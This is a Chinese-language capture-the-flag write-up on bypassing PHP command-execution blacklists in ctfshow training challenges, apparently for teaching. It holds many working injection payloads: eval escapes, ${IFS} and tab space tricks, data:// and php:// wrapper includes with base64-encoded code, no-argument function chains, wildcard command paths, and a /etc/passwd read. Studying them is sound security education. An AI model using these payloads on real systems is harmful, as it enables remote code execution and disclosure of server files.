Web-命令执行
命令执行
php相关函数介绍
preg_match函数:过滤函数
1 | preg_match("/flag/i", $c) //判断c变量中是否包含flag字符串,/i为不区分大小写。 |
eval函数:系统调用函数,执行函数内命令。
两者通常结合使用。
以下题目均来自于ctfshow web入门练习题命令执行部分。
例题1、
1 | $c = $_GET['c']; |
即判断c变量中是否包含flag字符串,通过则执行系统调用。
首先,构造url?c=system(“ls”); 页面回显:flag.php index.php,可以得知flag在flag.php中。
但是过滤了flag字段,因此我们构造
1 | c=system("cat fla*");或c=system('cat fla""g.php');或c=system('cat fl\ag.php'); 等等。 |
cat;nl需要查看源码获取flag,tac不需要。
知识点:
- 执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})
(前六个为php可调用并执行linux指令的函数)
关键字屏蔽绕过:’’、””、?、*、\、字符拼接、数组拼接
文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
例题2、
1 | if(!preg_match("/flag|system|php/i", $c)){ |
黑名单增加:system php
因此上例无效,可以通过echo结合反引号`或上述补充中其他函数代替system来使用。
构造如下:
1 | c=echo(`ls`); c=echo(`tac fla*`); |
例题3、
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ |
黑名单增加:cat sort shell . ‘
如果单纯过滤cat,可以用tac替代,但是另外还过滤了空格,因此上例无效。
方法1:经典逃逸。
因为preg_match只是对c进行的过滤,而我们通过;可以使得eval执行多条命令,因此构造如下:
1 | c=eval($_GET["b"]);&b=system("tac flag.php"); |
即c = b,而b是命令参数,过滤c的时候是能正常绕过的。
方法2:空格绕过。
空格绕过:<、<>、%20(space)、{,}、${IFS}、$IFS$9、%09(tab)、%0a(回车)、%0b、%0c、{cat,/etc/passwd}
即构造:
1 | c=echo(`tac%09fla*`); |
方法3:利用无传参函数。
1 | c=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
例题4、
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ |
黑名单增加: ` echo ; (
由于 ( 的原因,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议
知识点:
文件包含函数:include、require、include_once、require_once
伪协议:php:// data:// file:// zip://
分号在代码中表示结束,php代码格式为 ,分号与 ?> 同为结束符,这里使用 ?> 代替分号,即直接用?> 闭合 php( ?> 闭合的是 eval 里面的 php 语句,eval 后续还有语句的话,依旧是会执行的。除此以外,php 代码最后一句可以不用加分号)
方法一:使用data伪协议。
1 | c=include$_GET[1] &1=data://text/palin,<?php system('tac flag.php')?> |
方法二:使用php伪协议。
1 | 1、使用//input: |
例题5、
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ |
黑名单增加: “ : < =
这几个都不影响,原因:
1 | 第一个参数c的内容是 include$_GET["a"] , |
解法同例题4。
例题6、
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ |
黑名单增加: / 数字
可以将例题4的参数换成字母绕过:
1 | c=include$_GET[a] &a=data://text/palin,<?php system('tac flag.php')?> |
例题7、
1 | if(!preg_match("/flag/i", $c)){ |
提供了include函数,该函数存在文件上传漏洞,一般该漏洞即使用伪协议读取数据。
1 | c=data://text/plain,<?php system('tac fla*')?> |
原理:
1 | c=data://text/plain,<?php echo hello?>; |
例题8、
1 | if(!preg_match("/flag|php|file/i", $c)){ |
过滤了php字符串,因此上例中的显示失效。
方法一:可以修改plain为base64,并对后边php代码进行base64加密处理:
1 | c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== |
方法二:php 代码这里可以使用 php 短标签进行绕过。
1 | c=data://text/plain,<?= system('tac fla*')?> |
例题9、
1 | if(!preg_match("/flag/i", $c)){ |
在后面拼接一个 .php。
没有影响,因为 .php 前面的 php 语句已经闭合了,所以后面的 .php 会被当成 html 页面直接显示在页面上。
例题10、
1 | if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ |
还是eval函数,但是过滤了一大堆东西。
方法一:
1 | c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fla*'); |
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
方法二:无参数函数:
1 | c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd())))); |
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
例题11、
1 | if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ |
几乎过滤了所有字符,
常规的 eval(“echo($c);”); 直接构造c=system(‘cat flag.php’)就行了,但这里边也过滤了a-z以及A-Z所有字母。
但是没有过滤|符号,因此需要构造一些不可见字符进行|运算后得到system(‘cat flag.php’)。
这里直接参考大佬脚本:
1 | import re |
例题12、
1 | if(isset($_GET['c'])){ |
1 | > /dev/null 2>&1 |
即重定向,前边默认是1(标准输入),将1重定向到黑洞,2(标准输出)重定向到1,因此没有回显。
绕过:
方法一:
拼接换行操作,使重定向语句和system语句分开:
1 | c=tac flag.php%0a |
方法二:
要让命令回显,可以进行命令分隔,以此来绕过:
1 | ; 分号 |
例题13、
1 | if(isset($_GET['c'])){ |
过滤了很多字符,并且是顺序过滤,
1 | |.*f.*l.*a.*g.*| |
这种过滤就是字母不能按过滤的顺序出现
方法一:
这题没有过滤通配符 “ ? ”
1 | url + ?c=/bin/?at${IFS}f???.php |
方法二:
这题没有过滤 vi 命令。
1 | url + ?c=vi${IFS}f???.php |
原理
Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符。
1 | 如 cat 命令也可这样使用:/bin/?at |